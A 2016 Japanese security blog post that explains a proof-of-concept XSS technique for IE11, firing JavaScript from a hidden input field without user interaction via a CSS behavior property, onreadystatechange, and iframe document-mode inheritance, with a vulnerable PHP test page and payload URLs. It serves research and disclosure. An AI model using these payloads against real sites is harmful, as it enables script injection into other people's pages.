2016/04/14

hiddenなinput要素でユーザー操作を使わずにXSS

徳丸さんがブログで紹介されたことで、<input type=hidden>でのXSSが話題になっていますね!

hiddenなinput要素のXSSでJavaScript実行 | 徳丸浩の日記
http://blog.tokumaru.org/2016/04/hiddeninputxssjavascript.html

僕もちょうど、個人での検証の過程で発見した、hiddenでのXSS手法について、そろそろ共有しようと思っていたところでした。皆の関心が高いうちに、もう1つの方法を共有したいと思います!

徳丸さんのコードに倣って紹介します。今回は問題を簡単にするためにX-XSS-Protection:0をつけさせてもらいます。
<?php
header('X-XSS-Protection:0');
header('Content-Type:text/html;charset=utf-8');
?>
<body>
入力確認をお願いします。
<?php echo htmlspecialchars($_GET['t']); ?><br>
<form action='submit.php'>
<input type='hidden' name='t' value='<?php
  echo htmlspecialchars($_GET['t']); ?>'>
<input type='submit'>
</body>
この条件でIE11でユーザー操作を伴わないXSSをします!こうです!

http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)
<body>
入力確認をお願いします。
'style='behavior:url(?)'onreadystatechange='alert(1)<br>
<form action='submit.php'>
<input type='hidden' name='t' value=''style='behavior:url(?)'onreadystatechange='alert(1)'>
<input type='submit'>
</body>
style属性にbehaviorをつけ、behaviorのURLの値に、任意の同一オリジン内のURLを指定すると、たとえhiddenの中でも、onreadystatechangeイベントが発火するようになります。
ただし、behaviorはIE10モード以下でないとサポートされていないので、ここにアクセスするだけでは動作しません。そこで、以前Shibuya.XSSの以下のスライドで紹介した、ドキュメントモードの継承というテクニックを使う必要があります。


ドキュメントモードを変えたページからフレームに埋め込めば、フレーム中のページのドキュメントモードも変更できるというテクニックでしたね。 というわけで、以下のようにIE10モードのページからフレームに埋め込めば、
<meta http-equiv="x-ua-compatible" content="IE=10">
<iframe src="http://example/test.php?t='style='behavior:url(?)'onreadystatechange='alert(1)"></iframe>
アラートが動作するはずです!
ちなみに、behaviorに指定したURLが一度キャッシュされると、onreadystatechangeイベントが発火しなくなるようなので注意してください。一度動いたのに動かなくなったという人は、このURLの文字列を適当な別のものに変えてみると、また動くようになると思います。

以上、IEでhiddenなinput要素でユーザー操作を使わずにXSSする手法を紹介しました。
もう1つ、Firefoxで、ユーザー操作不要の非常にトリッキーなhiddenでのXSS手法を知っています。これは次回の(?)ブログで紹介したいと思います。お楽しみに!

0 件のコメント:

コメントを投稿